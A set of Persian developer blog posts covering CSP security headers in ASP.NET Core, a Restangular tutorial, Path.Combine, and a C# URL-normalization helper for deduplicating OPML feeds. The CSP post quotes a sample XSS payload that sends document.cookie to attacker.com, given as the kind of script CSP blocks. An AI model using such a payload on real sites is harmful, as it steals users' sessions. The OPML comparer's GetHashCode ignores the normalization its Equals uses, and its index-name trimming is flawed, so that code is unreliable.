              تابحال مطالب زیادی را در مورد تمیزکردن ورودی‌های کاربران، توسط ابزارهای Anti-XSS مطالعه کرده‌اید:
              - «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»

              هدف تمام آن‌ها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آن‌ها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیه‌ی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کننده‌های ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری می‌رسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شده‌ای را در صفحه، ممنوع می‌کند:
              - «افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
               Content-Security-Policy: default-src 'self'
              یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری می‌کند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایل‌های CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمی‌شوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمی‌توان یک قطعه‌ی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپت‌های داخل صفحه‌‌ای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمی‌خواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) به‌عنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا می‌شود، کوکی‌های کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار می‌دهد:
              <script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>


              سؤال: چگونه توسط CSP، اسکریپت‌های inline خوب را از بد تشخیص دهیم؟

              یک روش مواجه شدن با منع اجرای اسکریپت‌های inline، مجاز اعلام کردن تمام آن‌ها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بی‌مصرف می‌کند. روش دیگر آن، معرفی هش اسکریپت‌های inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمی‌خواهد آن‌را اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر می‌کند:
              Refused to execute inline script because it violates the following Content Security Policy directive:
              "script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
              a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
              or a nonce ('nonce-...') is required to enable inline execution.
              همانطور که مشاهده می‌کنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شده‌است. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار داده‌ایم و یک «اسکریپت خوب» به‌شمار می‌رود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
              Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
              در اینجا به نحو صریحی مشخص می‌کنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شد‌ه‌ی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر می‌کند، مقدار این هش را به روز کرد.


              معرفی کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders‌

              جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامه‌های مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، می‌توان از میان‌افزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بسته‌ی نیوگت آن‌را معرفی کرد:
              <ItemGroup>
                 <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
              </ItemGroup>
              و سپس به نحو زیر، یکی از امن‌ترین تنظیمات را تدارک دید:
              public static class SecurityHeadersBuilder
              {
                  public static HeaderPolicyCollection GetCsp(bool isDevelopment)
                  {
                      var policy = new HeaderPolicyCollection()
                                   .AddFrameOptionsDeny()
                                   .AddXssProtectionBlock()
                                   .AddContentTypeOptionsNoSniff()
                                   .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                                   .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                                   .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                                   .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                                   .AddContentSecurityPolicy(builder =>
                                                             {
                                                                 builder.AddBaseUri().Self();
                                                                 builder.AddDefaultSrc().Self().From("blob:");
                                                                 builder.AddObjectSrc().Self().From("blob:");
                                                                 builder.AddBlockAllMixedContent();
                                                                 builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                                 builder.AddFontSrc().Self();
                                                                 builder.AddStyleSrc().Self();
                                                                 builder.AddFrameAncestors().None();
                                                                 builder.AddConnectSrc().Self();
                                                                 builder.AddMediaSrc().Self();
              
                                                                 builder.AddScriptSrc().Self()
                                                                        // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                                        .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                                        // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                                        .UnsafeEval();
              
                                                                 //TODO: Add api/CspReport/Log action method ...
                                                                 // https://www.dntips.ir/post/2706
                                                                 builder.AddReportUri().To("/api/CspReport/Log");
              
                                                                 builder.AddUpgradeInsecureRequests();
                                                             })
                                   .RemoveServerHeader()
                                   .AddPermissionsPolicy(builder =>
                                                         {
                                                             builder.AddAccelerometer().None();
                                                             builder.AddAutoplay().None();
                                                             builder.AddCamera().None();
                                                             builder.AddEncryptedMedia().None();
                                                             builder.AddFullscreen().All();
                                                             builder.AddGeolocation().None();
                                                             builder.AddGyroscope().None();
                                                             builder.AddMagnetometer().None();
                                                             builder.AddMicrophone().None();
                                                             builder.AddMidi().None();
                                                             builder.AddPayment().None();
                                                             builder.AddPictureInPicture().None();
                                                             builder.AddSyncXHR().None();
                                                             builder.AddUsb().None();
                                                         });
              
                      if (!isDevelopment)
                      {
                          // maxAge = one year in seconds
                          policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
                      }
              
                      policy.ApplyDocumentHeadersToAllResponses();
                      return policy;
                  }
              }
              چند نکته:
              - این تنظیمات برای Blazor WASM تهیه شده‌اند. در این حالت ذکر UnsafeEval برای اجرای اسکریپت‌های فر‌یم‌ورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده می‌کنید، این تنظیم (UnsafeEval) را حذف کنید.
              - روش معرفی هش‌ها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده می‌کنید.

              پس از تدارک کلاس تنظیمات فوق، روش استفاده‌ی از آن در فایل Program.cs و توسط میان‌افزار SecurityHeaders، به صورت زیر است:
              var app = builder.Build();
              
              // ...
              
              var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
              app.UseSecurityHeaders(headerPolicyCollection);
              
              app.UseHttpsRedirection();
              
              // ...
              این تنظیم سبب می‌شود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
              Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
              Cross-Origin-Embedder-Policy:require-corp
              Cross-Origin-Opener-Policy:same-origin
              Cross-Origin-Resource-Policy:same-origin
              Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
              Referrer-Policy:strict-origin-when-cross-origin
              X-Content-Type-Options:nosniff
              X-Frame-Options:DENY
              X-Xss-Protection:1; mode=block
              مطالب
              توسعه سرویس‌های مبتنی بر REST در AngularJs با استفاده از RestAngular : بخش دوم
              در بخش پیشین  کلیات کتابخانه‌ی Restangular  را بررسی کردیم. در این بخش قصد داریم تا در طی یک پروژه، امکانات و قابلیت‌های بی‌نظیر این سرویس را در یک پروژه‌ی واقعی مشاهده کنیم.

              کلیات پروژه

              در این پروژه قصد داریم تا لیست کتاب‌های یک کتابخانه را نمایش دهیم. این کتابها قابلیت ویرایش نام دارند و همچنین شما می‌توانید کتابهای جدیدی را به لیست کتابها اضافه نمایید. تصویر زیر خروجی این پروژه است:

              پایگاه داده‌ی برنامه با نام LibDb درون پوشه‌ی app_data قرار داده شده‌است. این پایگاه داده تنها دارای یک جدول است؛ با نام Books که دیاگرام آن را در شکل زیر مشاهده می‌کنید:


              پیاده سازی

              در ابتدا یک پروژه‌ی Empty را با رفرنس web API ایجاد می‌کنیم. حال درون فایل WebApiConfig.cs تکه کد زیر را اضافه می‌کنیم. این تکه کد فیلدها و آبجکت‌هایی را که از سمت سرور بازگشت داده می‌شوند، به صورت camelCase تبدیل می‌کند.
              var jsonFormatter = config.Formatters.OfType<JsonMediaTypeFormatter>().First();
              
              jsonFormatter.SerializerSettings.ContractResolver = new CamelCasePropertyNamesContractResolver();
              در ادامه مدل edmx را ساخته و پس از آن Books Web Api را درون پوشه‌ی کنترلر ایجاد می‌کنیم. این کنترلر به صورت Default web Api Scaffold ساخته شده است و به دلیل اینکه به بحث ما مرتبط نیست؛ از توضیح بیشتر آن می‌گذریم.
              حال پوشه‌ای را با نام app برای نگه داری فایل‌های AngularJs اضافه می‌کنیم و درون آن فایل app.js را ایجاد می‌کنیم:
              var angularExample = angular.module('angularexample', ["restangular"])
              angularExample.config(["RestangularProvider", function (RestangularProvider) {
                  //RestangularProvider.setRestangularFields({
                  //    id: "id"
                  //});
                  RestangularProvider.setBaseUrl('/api');
              }]);
              
              angularExample.controller("MainCtrl", ["Restangular", "$scope", function (Restangular, $scope) {
                  var resource = Restangular.all('books');
                  resource.getList().then(function (response) {
                      $scope.books = response;
                  });
                  $scope.add = function () {
                      resource.post($scope.newBook).then(function (newResource) {
                          $scope.books.push(newResource);
                      })
                  }
              }]);
              محتویات فایل app.js را مشاهده می‌کنید. در ادامه درباره‌ی این قسمت بیشتر صحبت می‌کنیم.
              حال در روت پروژه فایل index.html را ایجاد می‌کنیم:
              <!DOCTYPE html>
              <html ng-app="angularexample" xmlns="http://www.w3.org/1999/xhtml">
              <head>
                  <title>Rest Angular Sample</title>
                  <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script>
                  <script src="http://cdn.jsdelivr.net/underscorejs/1.5.1/underscore-min.js"></script>
                  <script src="/Scripts/restangular.min.js"></script>
                  <script src="/app/app.js"></script>
              </head>
              <body>
                  <div ng-controller="MainCtrl">
                      <div ng-repeat="item in books">
                          name is: {{item.name}}<br />
                          change name: <input type="text" ng-model="item.name" /><button type="submit" ng-click="item.put();">update</button>
                      </div>
                      <div>
                          add new: <br />
                          <input type="text" ng-model="newBook.name" /><button type="submit" ng-click="add()">add</button>
                      </div>
                  </div>
              </body>
              و در نهایت در پوشه‌ی Scripts فایل‌های سرویس Restangular را قرار می‌دهیم.
              تا به اینجای کار تمامی کارهای مورد نیاز تشکیل پروژه را انجام داده‌ایم. حال به بررسی بیشتر سرویس‌های این پروژه می‌پردازیم؛ یعنی کدهای درون فایل app.js.
              ببینیم که برای دریافت لیست تمامی کتابها، ما چه کارهایی را انجام داده‌ایم! به تکه کد زیر دقت کنید:
                  var resource = Restangular.all('books');
                  resource.getList().then(function (response) {
                      $scope.books = response;
                  });
              این تمامی آن چیزی است که ما برای دریافت لیست تمامی کتابها انجام داده‌ایم. به همین سادگی! در خط اول از متد all که در بخش قبل توضیح مختصری راجع به آن داده بودم برای دریافت لیست تمامی کتابها استفاده کردم که پارامتر درون آن آدرس Web Api است. البته همانطور که می‌دانید در ASP.NET Web Api ما همیشه به base address یک api نیز اضافه می‌کنیم. حال اینکه چرا api در اینجا نیامده در ادامه و در بخش تنظیمات کلی Restangular توضیح می‌دهم. در خط دوم نیز از اشاره‌گر resources متد getList را فراخوانی کرده و لیست کتابها را در response دریافت می‌کنیم.
              پس از آن می‌خواهیم ببینیم که عملیات ایجاد یک کتاب جدید چگونه انجام می‌گردد. تکه کد زیر این عملیات را انجام می‌دهد:
                  $scope.add = function () {
                      resource.post($scope.newBook).then(function (newResource) {
                          $scope.books.push(newResource);
                      })
                  }
              ما یک متد با نام add ایجاد کرده‌ایم که در سمت View توسط دایرکتیو ng-click آن را فراخوانی می‌کنیم.
              همانطور که مشاهده میکنید درون app.js متدی برای update موارد قبلی نیست. بیایید سری به View بزنیم. به المنت div زیر توجه کنید. همانطور که می‌بینید تمامی عملیات update با یک دستور ساده item.put حل و فصل شده.
                      <div ng-repeat="item in books">
                          name is: {{item.name}}<br />
                          change name: <input type="text" ng-model="item.name" /><button type="submit" ng-click="item.put();">update</button>
                      </div>
              تمامی آنچه که گفته شد تنها بخشی از قابلیت‌های شگفت انگیز این افزونه بود. امیدوارم که مطلب مفید واقع شده باشد. سورس این پروژه را می‌توانید از لینک زیر دریافت کنید.

              سورس پروژه: RestangularSample.rar  

              مطالب
              فلسفه وجودی Path.Combine

              عموما اکثر کدهای موجود از روش زیر برای ساخت یک مسیر استفاده می‌کنند:
              string path = somePath + "\\" + filename;

              اما اگر همین برنامه تحت Mono در لینوکس اجرا شود به مشکل بر می‌خورد زیرا در لینوکس مسیرها این‌بار به صورت زیر هستند:
              /somepath/filename

              به همین جهت توصیه شده است برای ساخت مسیرها در برنامه‌ی خود، از متد Path.Combine موجود در فضای نام System.IO استفاده کنید زیرا این متد از مقادیر Path.DirectorySeperatorChar و Path.VolumeSeparatorChar جهت تهیه مسیر نهایی استفاده می‌کند. این مقادیر در ویندوز (\) و لینوکس (/) متفاوت بوده و به صورت خودکار در زمان اجرا توسط فریم ورک مورد استفاده مدیریت خواهند شد.
              همچنین مزیت دیگر استفاده از Path.Combine ، تعیین اعتبار ورودی است؛ به این معنا که اگر از کاراکترهای غیرمجاز استفاده شود، یک استثناء صادر خواهد شد.

              یک مورد دیگر هم شاید بد نباشد همینجا اضافه شود و آن هم فلسفه وجودی Environment.NewLine است. مطابق معمول رسم بر این است که سطر جدید با n\ در انتهای یک رشته مشخص شود اما این همیشه صحیح نیست و در پلتفرم‌های مختلف متفاوت است. Environment.NewLine در ویندوز مساوی r\n\ است و در سیستم‌های مبتنی بر Unix مساوی n\ خواهد بود. به همین جهت بهتر است از این پس بجای n\ از Environment.NewLine جهت مشخص سازی سطر جدید استفاده کنید.

              مطالب
              ثبت لینک‌های غیرتکراری
              ثبت لینک‌های مختلف در یک سیستم (مثلا قسمت به اشتراک گذاری لینک‌ها) در ابتدای کار شاید ساده به نظر برسد؛ خوب، هر صفحه‌ای که یک آدرس منحصربفرد بیشتر ندارد. ما هش این لینک را محاسبه می‌کنیم و بعد روی این هش، یک کلید منحصربفرد را تعریف خواهیم کرد تا دیگر رکوردی تکراری ثبت نشود. همچنین چون این هش نیز طول کوتاهی دارد، جستجوی آن بسیار سریع خواهد بود. واقعیت این است که خیر! این روش ناکارآمدترین حالت پردازش لینک‌های مختلف است.
              برای مثال لینک‌های http://www.site.com و http://www.site.com/index.htm دو هش متفاوت را تولید می‌کنند اما در عمل یکی هستند. نمونه‌ی دیگر، لینک‌های http://www.site.com/index.htm و http://www.site.com/index.htm#section1 هستند که فقط اصطلاحا در یک fragment با هم تفاوت دارند و از این دست لینک‌هایی که باید در حین ثبت یکی درنظر گرفته شوند، زیاد هستند و اگر علاقمند به مرور آن‌ها هستید، می‌توانید به صفحه‌ی URL Normalization در ویکی‌پدیا مراجعه کنید.
              اگر نکات این صفحه را تبدیل به یک کلاس کمکی کنیم، به کلاس ذیل خواهیم رسید:
              using System;
              using System.Web;
              
              namespace OPMLCleaner
              {
                  public static class UrlNormalization
                  {
                      public static bool AreTheSameUrls(this string url1, string url2)
                      {
                          url1 = url1.NormalizeUrl();
                          url2 = url2.NormalizeUrl();
                          return url1.Equals(url2);
                      }
              
                      public static bool AreTheSameUrls(this Uri uri1, Uri uri2)
                      {
                          var url1 = uri1.NormalizeUrl();
                          var url2 = uri2.NormalizeUrl();
                          return url1.Equals(url2);
                      }
              
                      public static string[] DefaultDirectoryIndexes = new[]
                          {
                              "default.asp",
                              "default.aspx",
                              "index.htm",
                              "index.html",
                              "index.php"
                          };
              
                      public static string NormalizeUrl(this Uri uri)
                      {
                          var url = urlToLower(uri);
                          url = limitProtocols(url);
                          url = removeDefaultDirectoryIndexes(url);
                          url = removeTheFragment(url);
                          url = removeDuplicateSlashes(url);
                          url = addWww(url);
                          url = removeFeedburnerPart(url);
                          return removeTrailingSlashAndEmptyQuery(url);
                      }
              
                      public static string NormalizeUrl(this string url)
                      {
                          return NormalizeUrl(new Uri(url));
                      }
              
                      private static string removeFeedburnerPart(string url)
                      {
                          var idx = url.IndexOf("utm_source=", StringComparison.Ordinal);
                          return idx == -1 ? url : url.Substring(0, idx - 1);
                      }
              
                      private static string addWww(string url)
                      {
                          if (new Uri(url).Host.Split('.').Length == 2 && !url.Contains("://www."))
                          {
                              return url.Replace("://", "://www.");
                          }
                          return url;
                      }
              
                      private static string removeDuplicateSlashes(string url)
                      {
                          var path = new Uri(url).AbsolutePath;
                          return path.Contains("//") ? url.Replace(path, path.Replace("//", "/")) : url;
                      }
              
                      private static string limitProtocols(string url)
                      {
                          return new Uri(url).Scheme == "https" ? url.Replace("https://", "http://") : url;
                      }
              
                      private static string removeTheFragment(string url)
                      {
                          var fragment = new Uri(url).Fragment;
                          return string.IsNullOrWhiteSpace(fragment) ? url : url.Replace(fragment, string.Empty);
                      }
              
                      private static string urlToLower(Uri uri)
                      {
                          return HttpUtility.UrlDecode(uri.AbsoluteUri.ToLowerInvariant());
                      }
              
                      private static string removeTrailingSlashAndEmptyQuery(string url)
                      {
                          return url
                                  .TrimEnd(new[] { '?' })
                                  .TrimEnd(new[] { '/' });
                      }
              
                      private static string removeDefaultDirectoryIndexes(string url)
                      {
                          foreach (var index in DefaultDirectoryIndexes)
                          {
                              if (url.EndsWith(index))
                              {
                                  url = url.TrimEnd(index.ToCharArray());
                                  break;
                              }
                          }
                          return url;
                      }
                  }
              }
              از این روش برای تمیز کردن و حذف فیدهای تکراری در فایل‌های OPML تهیه شده نیز می‌شود استفاده کرد. عموما فیدخوان‌های نه‌چندان با سابقه، نکات یاد شده در این مطلب را رعایت نمی‌کنند و به سادگی می‌شود در این سیستم‌ها، فیدهای تکراری زیادی را ثبت کرد.
              برای مثال اگر یک فایل OPML چنین ساختار XML ایی را داشته باشد:
              <?xml version="1.0" encoding="utf-8"?>
              <opml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" version="1.0">
                <body>
                  <outline text="آی تی ایرانی">
                  <outline type="rss" 
                                         text="‫فید کلی آخرین نظرات، مطالب، اشتراک‌ها و پروژه‌های .NET Tips" 
                                         title="‫فید کلی آخرین نظرات، مطالب، اشتراک‌ها و پروژه‌های .NET Tips" 
                                         xmlUrl="https://www.dntips.ir/Feed/LatestChanges"
                                         htmlUrl="https://www.dntips.ir/" />
                  </outline> 
                </body>
              </opml>
              هر outline آن‌را به کلاس زیر می‌توان نگاشت کرد:
              using System.Xml.Serialization;
              
              namespace OPMLCleaner
              {
                  [XmlType(TypeName="outline")]
                  public class Opml
                  {
                      [XmlAttribute(AttributeName="text")]
                      public string Text { get; set; }
              
                      [XmlAttribute(AttributeName = "title")]
                      public string Title { get; set; }
              
                      [XmlAttribute(AttributeName = "type")]
                      public string Type { get; set; }
              
                      [XmlAttribute(AttributeName = "xmlUrl")]
                      public string XmlUrl { get; set; }
              
                      [XmlAttribute(AttributeName = "htmlUrl")]
                      public string HtmlUrl { get; set; }
                  }
              }
              برای اینکار فقط کافی است از LINQ to XML به نحو ذیل استفاده کنیم:
              var document = XDocument.Load("it-92-03-01.opml");
              var results = (from node in document.Descendants("outline")
                                         where node.Attribute("htmlUrl") != null && node.Parent.Attribute("text") != null 
                                          && node.Parent.Attribute("text").Value == "آی تی ایرانی"
                                         select new Opml
                                         {
                                             HtmlUrl = (string)node.Attribute("htmlUrl"),
                                             Text = (string)node.Attribute("text"),
                                             Title = (string)node.Attribute("title"),
                                             Type = (string)node.Attribute("type"),
                                             XmlUrl = (string)node.Attribute("xmlUrl")
                                         }).ToList();
              در این حالت لیست کلیه فیدهای یک گروه را چه تکراری و غیرتکراری، دریافت خواهیم کرد. برای حذف موارد تکراری نیاز است از متد Distinct استفاده شود. به همین جهت باید کلاس ذیل را نیز تدارک دید:
              using System.Collections.Generic;
              
              namespace OPMLCleaner
              {
                  public class OpmlCompare : EqualityComparer<Opml>
                  {
                      public override bool Equals(Opml x, Opml y)
                      {
                          return UrlNormalization.AreTheSameUrls(x.HtmlUrl, y.HtmlUrl);                
                      }
              
                      public override int GetHashCode(Opml obj)
                      {
                          return obj.HtmlUrl.GetHashCode();
                      }
                  }
              }
              اکنون با کمک کلاس OpmlCompare فوق که از کلاس UrlNormalization برای تشخیص لینک‌های تکراری استفاده می‌کند، می‌توان به لیست بهتر و متعادل‌تری رسید:
               var distinctResults = results.Distinct(new OpmlCompare()).ToList();